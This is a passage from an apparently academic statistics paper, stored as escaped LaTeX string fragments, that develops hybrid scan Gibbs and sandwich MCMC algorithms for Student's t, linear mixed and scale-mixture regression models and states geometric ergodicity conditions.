probabilities $a_1,\\dots,a_s$ in the usual way, and apply the chosen $k_j$. All of the theoretical results that we establish for the HSS algorithm in Appendix \\[app:theory\\] can be easily extended to this generalization.", "\n\nStudent’s $t$ example {#ssec:toy}\n---------------------\n\nConsider again the first Student’s $t$ model from the Introduction (with prior $\\pi(\\mu,\\sigma^2) \\propto \\sigma^{-2}\nI_{\\mathbb{R}^+}(\\sigma^2)$). ", "We now develop a HSS algorithm for this model. ", "Of course, we already know that this model can be handled by the usual DA algorithm, so our HSS algorithm would never be used in practice. ", "However, we believe that it is instructive to demonstrate the construction of a HSS algorithm in a simple context where the details of the model are not themselves overwhelming.", "\n\nThe first step is to identify the distributions of $Z | \\mu$ and $Z |\n\\sigma^2$. Let $z_{\\cdot} = \\sum_{i=1}^m z_i$. It’s easy to show that $$\\begin{aligned}\nf_{Z|\\mu}(z|\\mu) & \\propto \\bigg( \\sum_{i=1}^m z_i (w_i - \\mu)^2\n\\bigg)^{-\\frac{m}{2}} \\Bigg[ \\prod_{i=1}^m z_i \\Bigg]^{\\frac{\\nu -\n 1}{2}} \\exp \\bigg \\{ \\! ", "-\\frac{z_{\\cdot} \\nu}{2} \\bigg \\}\n\\prod_{i=1}^m I_{\\mathbb{R}^+}(z_i) \\;.\\end{aligned}$$ Let $g \\in \\reals_+$. It follows from the group theoretic arguments in @hobert2008theoretical that the move $z \\mapsto g z$ for $z=(z_1,\\ldots,z_m)$ is reversible with respect to $f_{Z|\\mu}(z|\\mu)$ if $g$ is drawn from the density proportional to $f_{Z|\\mu}(gz | \\mu)\ng^{m-1}$. (This is a low-dimensional move since, for fixed $z \\in\n\\reals_+^m$, the points $gz$ all lie on a ray emanating from the origin and passing through the point $z$.) As a function of $g$, we have $$\\begin{aligned}\nf_{Z|\\mu}(gz | \\mu) g^{m-1} & \\propto g^{\\frac{m \\nu}{2} - 1} \\exp\n\\bigg \\{ \\! ", "-\\frac{g \\nu z_{\\cdot}}{2} \\bigg \\} \\Bigg[ \\prod_{i=1}^m\n I_{\\mathbb{R}^+}(z_i) \\Bigg] I_{\\mathbb{R}^+}(g) \\;,\\end{aligned}$$ which is a $\\text{Gamma}\\big( \\frac{m \\nu}{2}, \\frac{\\nu z_{\\cdot}}{2}\n\\big)$ density. ", "Now, it’s easy to show that $$\\begin{aligned}\nf_{Z|\\sigma^2}(z|\\sigma^2) & \\propto \\frac{1}{\\sqrt{z_{\\cdot}}} \\exp\n\\bigg \\lbrace \\! ", "-\\frac{z_{\\cdot} v(z,w)}{2\\sigma^2} \\bigg \\rbrace\n\\Bigg[ \\prod_{i=1}^m z_i \\Bigg]^{\\frac{\\nu - 1}{2}} \\exp \\bigg \\{ \\!", "\n-\\frac{z_{\\cdot} \\nu}{2} \\bigg \\} \\prod_{i=1}^m I_{\\mathbb{R}^+}(z_i)\n\\;,\\end{aligned}$$ where $$v(z,w) = \\frac{1}{z_{\\cdot}} \\sum_{i=1}^m z_i \\big( w_i - \\theta(z,w)\n\\big)^2 \\;,$$ and $\\theta(z,w) = \\frac{1}{z_{\\cdot}} \\sum_{i=1}^m z_i w_i$. Using the same transformation, $z \\mapsto g z$, we need to sample $g$ from the density proportional to $f_{Z|\\sigma^2}(gz | \\sigma^2) g^{m-1}$. A straightforward calculation shows that, as a function of $g$, we have $$\\begin{aligned}\nf_{Z|\\sigma^2}(gz | \\sigma^2) g^{m-1} & \\propto g^{\\frac{m(\\nu\n +1)-3}{2}} \\exp \\left\\lbrace -g z_. ", "\\bigg(\n\\frac{v(z,w)}{2\\sigma^2} + \\frac{\\nu}{2} \\bigg) \\right \\rbrace \\;,\\end{aligned}$$ which is a $\\text{Gamma} \\Big( \\frac{m(\\nu + 1) - 1}{2} , z_. ", "\\big(\n\\frac{v(z,w)}{2\\sigma^2} + \\frac{\\nu}{2} \\big) \\Big)$ density.", "\n\nFix a selection probability $r \\in (0,1)$ and consider the Markov chain $\\{(\\tilde{\\mu}_n,\\tilde{\\sigma}^2_n)\\}_{n=0}^{\\infty}$ with state space $\\reals \\times \\reals_+$. The HSS algorithm proceeds as follows. ", "If the current state is $(\\tilde{\\mu}_n,\\tilde{\\sigma}^2_n)\n= (\\mu,\\sigma^2)$, then we simulate the next state, $(\\tilde{\\mu}_{n+1},\\tilde{\\sigma}^2_{n+1}),$ by performing the following two steps:\n\n[Iteration $n+1$ of the HSS algorithm for the Student’s $t$ example:]{}\n\n1. ", " Draw $Z_1, \\ldots, Z_m$ independently, with $$Z_i \\sim\n \\text{Gamma} \\left( \\frac{\\nu + 1}{2}, \\frac{1}{2} \\left( \\frac{(w_i\n - \\mu)^2}{\\sigma^2} + \\nu \\right) \\right) \\;,$$ call the observed values $z=(z_1,\\ldots,z_m),$ and, independently, draw $W \\sim\n \\text{Uniform}(0,1).$\n\n2. ", " 1. ", " If $W \\le r,$ draw $$g \\sim \\text{Gamma} \\bigg( \\frac{m \\nu}{2},\n \\frac{\\nu z_{\\cdot}}{2} \\bigg) \\,,$$ then draw $$\\sigma^{*2} \\sim\n \\text{IG} \\bigg( \\frac{m}{2}, \\frac{1}{2} \\sum_{i=1}^m g z_i (y_i -\n \\mu)^2 \\bigg),$$ and set $(\\tilde{\\mu}_{n+1},\\tilde{\\sigma}^2_{n+1})\n = (\\mu,\\sigma^{*2}).$\n\n 2. ", " Otherwise if $r < W \\le 1,$ draw $$g \\sim \\text{Gamma} \\bigg(\n \\frac{m(\\nu + 1) - 1}{2} , z_. ", "\\Big( \\frac{v(z,w)}{2\\sigma^2} +\n \\frac{\\nu}{2} \\Big) \\bigg) \\;,$$ and then draw $$\\mu^* \\sim \\text{N}\n \\left( \\theta(z,w), \\frac{\\sigma^2}{g z_.} ", "\\right),$$ and set $(\\tilde{\\mu}_{n+1},\\tilde{\\sigma}^2_{n+1}) = (\\mu^*,\\sigma^2)$.\n\nIn terms of computation, the difference between running one iteration of this HSS algorithm versus one iteration of the HS Gibbs sampler upon which it is based is a single draw from the gamma distribution. ", "Thus, if $m$ is even moderately large, this extra draw would add relatively little to the overall computational effort of the HS Gibbs algorithm.", "\n\nGeneral linear mixed model example {#ssec:glmm}\n----------------------------------\n\n@abrahamsen2019 introduced and analyzed the HS Gibbs sampler described in Section \\[sec:glmm\\], but they did not consider adding sandwich steps to their algorithm. ", "In this subsection, we develop a HSS algorithm with a single sandwich step based on the conditional density $\\pi(\\tau|\\theta,y)$. (It is much more difficult to construct a sandwich step based on $\\pi(\\tau|\\lambda,y)$.) A routine calculation shows that $$\\pi(\\tau|\\theta,y) \\propto \\left( \\frac{\\norm{y-W\\theta}^2}{2} +\n\\frac{\\beta^T D_{\\tau}^{-1} \\beta}{2} + b_0 \\right)^ {-\n \\left(\\frac{N}{2}+\\frac{p}{2}+a_0 \\right)} \\prod_{j=1}^p\n\\tau_j^{c-\\frac{3}{2}} e^{-d \\tau_j} I_{\\reals_+}(\\tau_j) \\,.$$ As in the previous subsection, the move $\\tau \\mapsto g \\tau$ is reversible with respect to $\\pi(\\tau|\\theta,y)$ if $g$ is drawn from the density proportional to $\\pi(g \\tau|\\theta,y) g^{p-1}\nI_{\\reals_+}(g)$. Now, as a function of $g$, $$\\pi(g \\tau | \\theta, y) \\propto \\left( \\frac{\\norm{y-W\\theta}^2}{2} +\n\\frac{g^{-1} \\beta^T D_{\\tau}^{-1} \\beta}{2} + b_0 \\right)^ {-\n \\left(\\frac{N}{2}+\\frac{p}{2}+a_0 \\right)} g^{p(c-\\frac{3}{2})}\ne^{-g \\left( d \\sum_{j=1}^p \\tau_j \\right)} \\prod_{j=1}^p\nI_{\\reals_+}(\\tau_j) \\;,$$ so the density from which $g$ must be drawn is given by $$h(g ; \\tau, \\theta, y) \\propto\n\\frac{g^{\\frac{N}{2}+cp+a_0-1-s}}{\\left( \\frac{\\beta^T D_{\\tau}^{-1}\n \\beta}{2} + g \\left( \\frac{\\norm{y-W\\theta}^2}{2} + b_0 \\right)\n \\right)^{\\frac{N}{2}+\\frac{p}{2}+a_0}} \\; \\left[ g^s e^{-g \\left( d\n \\sum_{j=1}^p \\tau_j \\right)} \\right] I_{\\reals_+}(g) \\;,$$ where $s > 0$ is a free parameter. ", "So, $$\\label{eq:hg}\nh(g ; \\tau, \\theta, y) \\propto \\frac{g^{\\frac{N}{2}+cp+a_0-1-s}}{(1 +\n C g)^{\\frac{N}{2}+\\frac{p}{2}+a_0}} \\; \\left[ g^s e^{-g \\left( d\n \\sum_{j=1}^p \\tau_j \\right)} \\right] I_{\\reals_+}(g) \\;,$$ where $$C = \\frac{\\norm{y-W\\theta}^2 + 2 b_0}{\\beta^T D_{\\tau}^{-1}\\beta} \\;.$$ If we choose $s \\in \\Big( \\max \\Big\\{ 0, \\; p \\big(c - \\frac{1}{2}\n\\big) \\Big \\} , \\frac{N}{2} + cp + a_0 \\Big)$, then two things happen: (1) the first term on the right-hand side of   is proportional to a scaled $F$ density, and (2) the second term is bounded. ", "In fact, the second term achieves its maximum at $\\hat{g} = s\n\\big( d \\sum_{j=1}^p \\tau_j \\big)^{-1}$. Thus, we can use a simple accept/reject algorithm with an $F$ candidate to draw from $h.$ In particular, let $\\nu_1 = N + 2cp + 2a_0 -2s$ and $\\nu_2 = p(1-2c) +\n2s.$ Here’s the algorithm.", "\n\n[Accept/Reject algorithm for $h$:]{}\n\n1. ", " Draw $V^* \\sim F(\\nu_1,\\nu_2),$ set $V = (V^* \\nu_1) / (C\n \\nu_2),$ and independently draw $U \\sim \\text{Uniform}(0,1).$\n\n2. ", " If $$U \\le \\left( \\frac{d V \\sum_{j=1}^p \\tau_j}{s} \\right)^s \\;\n e^{s - d V \\sum_{j=1}^p \\tau_j},$$ then accept $V$ as a draw from  , otherwise return to 1.", "\n\nIf $r \\in (0,1)$ is the selection probability, then our HSS algorithm proceeds as follows. ", "Let the current state of the chain be $(\\theta_n, \\lambda_n) = (\\theta, \\lambda)$. First, draw $\\tau \\sim\n\\pi(\\tau | \\theta, \\lambda, y)$, and then flip an $r$-coin. ", "If the coin comes up heads, we move to $(\\theta_{n+1}, \\lambda_{n+1}) =\n(\\theta, \\lambda^*)$ by first drawing $g \\sim h(\\cdot ; \\tau, \\theta,\ny)$ and then drawing $\\lambda^* \\sim \\pi(\\lambda| \\theta, g \\tau, y)$. If the coin comes up tails, we move to $(\\theta_{n+1}, \\lambda_{n+1})\n= (\\theta^*, \\lambda)$ by drawing $\\theta^* \\sim \\pi(\\theta | \\lambda,\n\\tau, y)$. Another, perhaps simpler, way to describe the HSS algorithm is via a simple modification of the HS Gibbs algorithm described in Section \\[sec:glmm\\]. ", "Step 1 remains exactly the same. ", "In step 2, if $r < W \\le 1$, then, again, nothing changes. ", "However, if $W \\le\nr$, then, instead of using $\\tau$ from step 1, we draw $g \\sim h(\\cdot\n; \\tau, \\theta, y)$, and use $g \\tau$ in place of $\\tau$.\n\nIt follows from Proposition \\[prop:main\\_comp\\] in Appendix \\[app:theory\\] that, whenever the HS Gibbs sampler of Section \\[sec:glmm\\] is geometrically ergodic, so is our HSS algorithm. ", "Recall that some empirical results for this HSS algorithm are depicted alongside the results for the HS, SS, and RS Gibbs samplers in Figure \\[fig:simplot\\] of Section \\[sec:glmm\\]. ", "In that example, the rejection sampler is quite efficient, with an acceptance probability of more than 70% in each of the three simulations settings considered. ", "The per iteration computational cost of HS Gibbs obviously grows with $p$ while the extra cost associated with rejection sampling is basically constant in $p$. As a result, in the second and third simulation settings, the HSS algorithm was only about 2% slower than HS Gibbs, while in the first setting, the HSS algorithm is substantially slower than HS Gibbs. ", "Note that the performance of the rejection sampler is a function of $C$ and $\\sum_{j=1}^p \\tau_j$. For these simulations, we developed a table in a preliminary offline investigation to decide the appropriate value of the free parameter $s$ for a given $\\big( C,\\sum_{j=1}^p \\tau_j \\big)$ pair.", "\n\nBayesian Linear Regression with Scale Mixtures of Normal Errors {#sec:smn}\n===============================================================\n\nIn this section, we provide another example of a Bayesian model that leads to a highly intractable posterior distribution that lends itself to the HS Gibbs sampler. ", "Let $Y_1,\\ldots,Y_m$ be independent random variables from the linear regression model $$\\label{eq:smnmodel}\nY_i = x_i^{T}\\beta + \\sigma\\epsilon_i \\;,$$ where $x_i$ is a $p \\times 1$ vector of known covariates associated with $Y_i$, $\\beta$ is a $p \\times 1$ vector of unknown regression coefficients, $\\sigma \\in (0,\\infty)$ is an unknown scale parameter, and $\\epsilon_1,\\ldots,\\epsilon_m$ are iid errors. ", "The standard assumption that the errors are Gaussian is often inappropriate, e.g., when the data contain outliers. ", "Various heavy-tailed alternatives can be constructed as scale mixtures of the Gaussian density. ", "Consider an error density of the form $$\\label{eq:smndensity}\nf_H(\\epsilon) = \\int_0^\\infty\n\\frac{\\sqrt{z}}{\\sqrt{2\\pi}}\\exp\\left\\lbrace -\n\\frac{z}{2}\\epsilon^2\\right\\rbrace \\, dH(z) \\;,$$ where $H$ is the distribution function of some non-negative random variable. ", "By varying the mixing distribution $H$, many symmetric and unimodal distributions can be constructed. ", "Thus, datasets with various types of tail behavior (particularly with heavier tails than the normal) are often modeled by choosing a distribution from this class. ", "In this section, we consider a Bayesian analysis of the linear regression model   when the errors $\\epsilon_1,\\ldots,\\epsilon_m$ are iid random variables with the general scale mixture of normals density $f_H$ given in  . ", "There are several different prior distributions available that lead to conditional distributions with standard forms. ", "@hobert2018convergence consider a standard improper prior and show that a DA algorithm is available. ", "A DA algorithm is also available in the case where we specify a proper conditionally conjugate prior on $(\\beta,\\sigma^2)$ by setting $\\beta\n| \\sigma^2 \\sim \\mbox{N}_p(\\mu,\\sigma^2 \\Sigma)$ and $\\sigma^2 \\sim\n\\mbox{IG}(\\alpha,\\gamma)$. Throughout this section, we will instead consider the proper prior which takes $\\beta$ and $\\sigma^2$ to be *a priori* independent with $\\beta \\sim \\mbox{N}_p\n(\\mu,\\Sigma)$ and $\\sigma^2 \\sim \\mbox{IG}(\\alpha,\\gamma)$. This slight change to the prior makes the DA algorithm difficult to implement, but the HS Gibbs sampler is a viable alternative. ", "We now provide the details.", "\n\nLet $y = (y_1,\\ldots,y_m)$ denote the observed data. ", "Let $X$ denote the $m \\times p$ matrix whose $i$th row is $x_i^{T}$. We assume throughout that $m \\ge \\max\\{2,p\\}$. We also assume that $H$ has a density, $h$, with respect to Lebesgue measure on $\\mathbb{R}_+$. Letting $p_H(y|\\beta,\\sigma^2)$ denote the joint density of the data from the linear regression model, the posterior density is given by $$\\begin{aligned}\n\\pi(\\beta,\\sigma^2|y) & \\propto p_H(y|\\beta,\\sigma^2)\n\\pi(\\beta,\\sigma^2) \\\\ & \\propto \\Bigg[ \\prod_{i=1}^m\n \\frac{1}{\\sigma}f_H\\left(\\frac{y_i - x_i^{T} \\beta}{\\sigma}\\right)\n \\Bigg] \\pi(\\beta,\\sigma^2) \\\\ & \\propto \\Bigg[ \\prod_{i=1}^m\n \\int_{\\reals_+} \\frac{\\sqrt{z_i}}{\\sqrt{2\\pi\\sigma^2}}\n \\exp\\left\\lbrace\n -\\frac{z_i}{2}\\frac{(y_i-x_i^{T}\\beta)^2}{\\sigma^2}\\right\\rbrace\n h(z_i) \\, dz_i \\Bigg] \\\\ & \\hspace*{8mm} \\times\n(\\sigma^2)^{-\\alpha-1}\\exp \\left\\lbrace -\\frac{\\gamma}{\\sigma^2}\n\\right\\rbrace \\exp \\left\\lbrace\n-\\frac{(\\beta-\\mu)^T\\Sigma^{-1}(\\beta-\\mu)}{2} \\right\\rbrace\nI_{\\mathbb{R}^+}(\\sigma^2) \\;.\\end{aligned}$$ Define the complete data posterior density as $$\\begin{aligned}\n\\pi(\\beta,\\sigma^2,z|y) &= \\prod_{i=1}^m\n\\frac{\\sqrt{z_i}}{\\sqrt{2\\pi\\sigma^2}} \\exp\\left\\lbrace\n-\\frac{z_i}{2}\\frac{(y_i-x_i^{T}\\beta)^2}{\\sigma^2}\\right\\rbrace\nh(z_i) \\\\ & \\times (\\sigma^2)^{-\\alpha-1}\\exp \\left\\lbrace\n-\\frac{\\gamma}{\\sigma^2} \\right\\rbrace \\exp \\left\\lbrace\n-\\frac{(\\beta-\\mu)^T\\Sigma^{-1}(\\beta-\\mu)}{2} \\right\\rbrace\nI_{\\mathbb{R}^+}(\\sigma^2) \\;,\\end{aligned}$$ and note that $\\int_{\\reals_+^m} \\pi(\\beta,\\sigma^2,z|y) \\, dz =\n\\pi(\\beta,\\sigma^2|y)$, so that $z = (z_1,\\ldots,z_m)$ constitutes latent data. ", "We now state the conditional densities needed for the HS Gibbs sampler. ", "First, conditional on $(\\beta, \\sigma^2, y)$, $z_1,\n\\ldots, z_m$ are independent, and the conditional density of $z_i$ given $(\\beta, \\sigma^2, y_i)$ is given by $$\\label{eq:zcond}\n \\pi(z_i|\\beta,\\sigma^2,y_i) \\propto z_i^{\\frac{1}{2}} \\exp \\left\\{ -\n \\frac{z_i}{2} \\frac{(y_i - x_i^T \\beta)^2}{\\sigma^2} \\right\\} h(z_i)\n \\;.$$ In some cases, this density turns out to be standard. ", "For example, when $h$ is a gamma density, then so is $\\pi(z_i|\\beta,\\sigma^2,y_i)$, and when $h$ is inverted gamma, then $\\pi(z_i|\\beta,\\sigma^2,y_i)$ is generalized inverse Gaussian. ", "Even when it’s not a standard density, as long as one can make draws from $h$, then $h$ can be used as the candidate in a simple rejection sampler.", "\n\nNext, let $Q$ be an $m \\times m$ diagonal matrix whose $i$th diagonal element is $z_i^{-1}$. We have $$\\sigma^2 \\; | \\; \\beta, z, y \\sim \\text{IG}\\left( \\frac{m}{2} +\n\\alpha, \\frac{(y-X\\beta)^T Q^{-1} (y-X\\beta) + 2\\gamma}{2} \\right) \\;.$$ Finally, $\\beta \\; | \\; \\sigma^2, z, y \\sim \\mbox{N}_p \\left( \\mu',\n\\sigma^2 \\Sigma' \\right)$, where $$\\mu' = \\left( X^T Q^{-1} X + \\sigma^2 \\Sigma^{-1} \\right)^{-1} \\left(\nX^T Q^{-1} y + \\sigma^2 \\Sigma^{-1} \\mu \\right) \\hspace{5mm}\n\\mbox{and} \\hspace{5mm} \\Sigma' = \\left( X^T Q^{-1} X + \\sigma^2\n\\Sigma^{-1} \\right)^{-1} \\;.$$ The HS Gibbs sampler is based on the Markov chain $\\Phi = \\{\n(\\beta_n,\\sigma_n^2)\\}_{n=0}^{\\infty}$ with state space $\\mathsf{X} =\n\\reals^p \\times \\reals_+$ and selection probability $r \\in (0,1).$ The dynamics of $\\Phi$ are defined by the following two step procedure for moving from $(\\beta_n,\\sigma_n^2) = (\\beta,\\sigma^2)$ to $(\\beta_{n+1},\\sigma_{n+1}^2).$\n\n[Iteration $n+1$ of the hybrid scan Gibbs sampler:]{}\n\n1. ", " Draw $Z_1, \\ldots, Z_m$ independently with $$Z_i \\sim \\text{the\n density proportional to} \\; z_i^{\\frac{1}{2}} \\exp \\left\\{ -\n \\frac{z_i}{2} \\frac{(y_i - x_i^T \\beta)^2}{\\sigma^2} \\right\\} h(z_i)\n \\;,$$ call the observed values $z = (z_1,\\ldots,z_m),$ and, independently, draw $W \\sim \\text{Uniform}(0,1).$\n\n2. ", " 1. ", " If $W \\le r,$ draw $$\\sigma^{*2} \\sim \\text{IG}\\left(\n \\frac{m}{2} + \\alpha, \\frac{(y-X\\beta)^T Q^{-1} (y-X\\beta) +\n 2\\gamma}{2} \\right),$$ and set $(\\beta_{n+1},\\sigma_{n+1}^2) =\n (\\beta,\\sigma^{*2}).$\n\n 2. ", " Otherwise if $r < W \\le 1,$ draw $$\\beta^* \\sim \\mbox{N}_p\n \\left( \\mu', \\sigma^2 \\Sigma' \\right),$$ and set $(\\beta_{n+1},\\sigma_{n+1}^2) = (\\beta^*,\\sigma^2).$\n\nWe now provide convergence rate results for this HS algorithm and the corresponding SS Gibbs sampler. ", "Let $\\hat{\\Phi} = \\{\n(\\hat{\\beta}_n,\\hat{\\sigma}_n^2)\\}_{n=0}^{\\infty}$ denote the Markov chain defined by the following Mtd: $$k_{\\text{G}} (\\beta, \\sigma^2 | \\hat{\\beta},\\hat{\\sigma}^2) =\n\\int_{\\mathbb{R}_+^n} \\pi(\\beta|\\sigma^2,z,y)\n\\pi(\\sigma^2|\\hat{\\beta},z,y) \\pi(z|\\hat{\\beta},\\hat{\\sigma}^2,y) \\,\ndz \\;.$$ Of course, this is just the Markov chain that one is left with when one runs the three-block SS Gibbs sampler and ignores the latent data. ", "It is well known that this chain has exactly the same convergence rate as the SS Gibbs chain. ", "The following result, which is proven in Appendix \\[app:proof\\], provides sufficient conditions for each of these algorithms to be geometrically ergodic.", "\n\n\\[thm:smn\\] The following results hold for any mixing density $h.$\n\n(i) Suppose there exist constants $0 \\leq \\psi_1 < 1$ and $L_1 \\in\n \\reals$ which do not depend on $\\beta$ or $\\sigma^2$ such that $$\\label{ine:driftgibbs}\n \\frac{\\sum_{i=1}^m E[z_i|\\beta,\\sigma^2,y](y_i - x_i^T \\beta)^2}{m + 2\n \\alpha - 2} \\leq \\psi_1 \\left[ \\sum_{i=1}^m (y_i - x_i^T \\beta)^2 +\n \\beta^T \\Sigma^{-1} \\beta + \\sigma^2 + \\frac{1}{\\sigma^2} \\right] +\n L_1 \\;$$ for every $\\beta \\in \\reals^p, \\sigma^2 \\in \\reals_+$. Then $\\hat{\\Phi}$ is geometrically ergodic.", "\n\n(ii) Suppose there exist constants $\\psi_2 \\in \\reals_+$, $0 \\leq\n \\psi_3 < 1$, and $L_2 \\in \\reals$ which do not depend on $\\beta$ or $\\sigma^2$ such that $$\\label{ine:drifthybrid}\n \\frac{\\sum_{i=1}^m E[z_i|\\beta,\\sigma^2,y](y_i - x_i^T \\beta)^2}{m + 2\n \\alpha - 2} \\leq \\psi_2 \\Bigg[ \\sum_{i=1}^m (y_i - x_i^T \\beta)^2 +\n \\, \\beta^T\\Sigma^{-1}\\beta \\Bigg] + \\psi_3 \\left( \\sigma^2 +\n \\frac{1}{\\sigma^2} \\right) + L_2 \\;$$ for every $\\beta \\in \\reals^p, \\sigma^2 \\in \\reals_+$. Then $\\Phi$ is geometrically ergodic for all $r \\in (0,1)$.\n\nNote that if holds, then holds with $\\psi_2 = \\psi_3 = \\psi_1$, and $L_2 = L_1$. So the sufficient condition for geometric ergodicity of the HS Gibbs algorithm is weaker than the corresponding sufficient condition for the SS Gibbs sampler. ", "Of course, we are dealing with sufficient conditions here, so by no means does Theorem \\[thm:smn\\] imply that HS Gibbs algorithm is geometrically ergodic more often than the SS Gibbs sampler. ", "On the other hand, in a given situation, if it is known that the HS algorithm is geometrically ergodic, and it is unknown whether or not the same is true of the SS Gibbs sampler, then one should probably use the HS algorithm.", "\n\nIn order to actually apply Theorem \\[thm:smn\\], we must specify $h$ so that we can calculate (or at least bound) $E[z_i|\\beta,\\sigma^2,y]$. For example, suppose that $h$ is a $\\text{Gamma}(\\frac{\\nu}{2},\\frac{\\nu}{2})$ density, which leads to a Student’s $t$ distribution with $\\nu$ degrees of freedom for the regression errors. ", "In this case, $z_i|(\\beta,\\sigma^2,y)$ is $$\\mbox{Gamma} \\bigg( \\frac{\\nu+1}{2}, \\frac{(y_i - x_i^T \\beta)^2 + \\nu\n \\sigma^2}{2\\sigma^2} \\bigg) \\;,$$ and $$E[z_i|\\beta,\\sigma^2,y] = \\frac{\\sigma^2 (\\nu+1)}{(y_i - x_i^T\n \\beta)^2 + \\nu \\sigma^2} \\;.$$ It follows that is satisfied since $$\\begin{aligned}\n \\label{eq:ia}\n\\frac{\\sum_{i=1}^m E[z_i|\\beta,\\sigma^2,y](y_i - x_i^T \\beta)^2}{m + 2\n \\alpha - 2} & = \\frac{1}{m + 2 \\alpha - 2} \\sum_{i=1}^m\n\\frac{\\sigma^2 (\\nu+1)(y_i - x_i^T \\beta)^2}{(y_i - x_i^T \\beta)^2 +\n \\nu \\sigma^2} \\nonumber \\\\ & \\le \\frac{\\nu+1}{\\nu(m + 2 \\alpha - 2)}\n\\sum_{i=1}^m (y_i - x_i^T \\beta)^2 \\;.\\end{aligned}$$ Thus, Theorem \\[thm:smn\\] implies that the HS Markov chain is geometrically ergodic (without any additional assumptions).", "\n\nUnfortunately, this argument doesn’t work for the SS Gibbs sampler. ", "Indeed, doesn’t establish that is satisfied unless we make the additional assumption that that $\\nu >\n1/(m+2\\alpha-3)$. However, another upper bound on the left-hand side of is as follows: $$\\label{eq:ib}\n \\frac{\\sum_{i=1}^m E[z_i|\\beta,\\sigma^2,y](y_i - x_i^T \\beta)^2}{m +\n 2 \\alpha - 2} \\le \\frac{m(\\nu+1)}{m + 2 \\alpha - 2} \\sigma^2 \\;.$$ Now, will establish if $\\nu <\n(2\\alpha-2)/m$. So Theorem \\[thm:smn\\] implies that the SS Gibbs chain is geometrically ergodic if either $\\nu > 1/(m+2\\alpha-3)$ or $\\nu < (2\\alpha-2)/m$. Of course, if $1/(m+2\\alpha-3) <\n(2\\alpha-2)/m$, then at least one of these two inequalities must hold. ", "However, when $\\alpha$ is small, this is not the case.", "\n\nConsider a second example where $h$ is taken to be an $\\text{IG}(\\alpha,1)$ density. ", "Under this mixing density, the regression errors have a generalized hyperbolic distribution, which has tails that are heavier than Gaussian, but lighter than Student’s $t$ [see, e.g., @jung:hobe:2014]. ", "In this case, $z_i|(\\beta,\\sigma^2,y)$ is $$\\mbox{GIG} \\bigg( \\frac{1}{2} - \\alpha, \\frac{(y_i - x_i^T\n \\beta)^2}{\\sigma^2}, 2 \\bigg) \\;,$$ and $$E[z_i|\\beta,\\sigma^2,y] = \\frac{\\sqrt{2 \\sigma^2}}{\\sqrt{(y_i - x_i^T\n \\beta)^2}} \\frac{\\mbox{K}_{- \\alpha + 3/2} \\Big( \\sqrt{\\frac{2(y_i -\n x_i^T \\beta)^2}{\\sigma^2}} \\Big)}{\\mbox{K}_{- \\alpha + 1/2}\n \\Big( \\sqrt{\\frac{2(y_i - x_i^T \\beta)^2}{\\sigma^2}} \\Big)} \\;.$$ @jungdiss [p. 62] shows that $$\\frac{\\mbox{K}_{- \\alpha + 3/2} \\Big( \\sqrt{\\frac{2(y_i - x_i^T\n \\beta)^2}{\\sigma^2}} \\Big)}{\\mbox{K}_{- \\alpha + 1/2} \\Big(\n \\sqrt{\\frac{2(y_i - x_i^T \\beta)^2}{\\sigma^2}} \\Big)} \\le 1 +\n\\frac{\\sqrt{\\sigma^2}}{\\sqrt{2(y_i - x_i^T \\beta)^2}} \\;.$$ Hence, letting $C>0$ be an arbitrary positive constant, we have $$\\begin{aligned}\n \\label{eq:iga}\n\\frac{\\sum_{i=1}^m E[z_i|\\beta,\\sigma^2,y](y_i - x_i^T \\beta)^2}{m + 2\n \\alpha - 2} & \\le \\frac{1}{m + 2\\alpha - 2} \\sum_{i=1}^m \\bigg[\n \\frac{\\sqrt{2 \\sigma^2}}{C} \\sqrt{C(y_i - x_i^T \\beta)^2} + \\sigma^2\n \\bigg] \\nonumber \\\\ & \\le \\frac{1}{m + 2\\alpha - 2} \\sum_{i=1}^m\n\\bigg[\\frac{C (y_i - x_i^T \\beta)^2}{2} + \\frac{\\sigma^2}{C} +\n \\sigma^2 \\bigg] \\nonumber \\\\ & = \\frac{C}{2(m + 2\\alpha - 2)}\n\\sum_{i=1}^m (y_i - x_i^T \\beta)^2 + \\frac{m(C+1)}{C(m + 2\\alpha - 2)}\n\\sigma^2 \\;.\\end{aligned}$$ If $\\alpha>1$, then we can find $C>0$ such that $\\frac{m(C+1)}{C(m +\n 2\\alpha - 2)} < 1$. Therefore, Theorem \\[thm:smn\\] implies that the HS Gibbs chain is geometrically ergodic whenever $\\alpha>1$.\n\nNow, if we can find a single value of $C>0$ such that $m(C+1) < C(m +\n2\\alpha - 2)$ *and* $C<2(m + 2\\alpha - 2)$, then will imply that holds. ", "The existence of such a $C$ is equivalent to $\\alpha$ and $m$ satisfying the following inequality $$8 \\alpha^2 + \\alpha(4m-16) + 8 - 5m > 0 \\;.$$ Thus, Theorem \\[thm:smn\\] implies that the SS Gibbs chain is geometrically ergodic if $\\alpha > \\big( 4-m+\\sqrt{m(m+2)} \\big)/4$. This inequality holds for all $\\alpha \\ge \\frac{5}{4}$, regardless of the value of $m$, and it does hold for smaller values of $\\alpha$ when $m$ is fixed. ", "For example, if $m=2$, then we only need $\\alpha > (1 +\n\\sqrt{2})/2 \\approx 1.21$.\n\nOnce $h$ is specified, HSS algorithms can be created by adding sandwich steps to the HS Gibbs sampler. ", "@grantdiss develops a HSS algorithm with two sandwich steps for the case where $h$ is a $\\text{Gamma}(\\frac{\\nu}{2},\\frac{\\nu}{2})$ density.", "\n\nDiscussion {#sec:discussion}\n==========\n\nWe have introduced generic forms of the hybrid scan Gibbs sampler and the hybrid scan sandwich algorithm, and we have shown that, under weak regularity conditions, the latter is theoretically better than the former. ", "Moreover, we have developed and studied specific versions of these algorithms in the context of two different realistic Bayesian hierarchical models. ", "It is clear that the hybrid scan algorithms are quite flexible, and can be used in conjunction with a variety of practical Bayesian models. ", "As another example, consider a generalization of the model in  in which the error density has both heavy tails and *skewness*. ", "@da2011skew define a skew scale mixture of normal densities, $f_{H,\\lambda}(\\epsilon)$, by $$f_{H,\\lambda}(\\epsilon) = 2 f_H(\\epsilon) \\Phi(\\lambda \\epsilon)\n\\;,$$ where $f_H(\\epsilon)$ is the scale mixture of normal densities defined at , $\\Phi(\\cdot)$ is the standard normal cumulative distribution function, and $\\lambda \\in \\mathbb{R}$ is a fixed parameter that controls the skewness. ", "Combining the associated likelihood with the same conjugate normal/inverse-gamma prior employed in Section \\[sec:smn\\] gives rise to a posterior distribution that is even more unwieldy than the one studied in Section \\[sec:smn\\]. ", "However, @jungdiss shows that there exist two sets of latent variables, $z=(z_1,\\ldots,z_m)$ and $t=(t_1,\\ldots,t_m)$, conditionally independent of one another given $(\\beta,\\sigma^2,y)$, that give rise to a complete data posterior with the following conditionals. 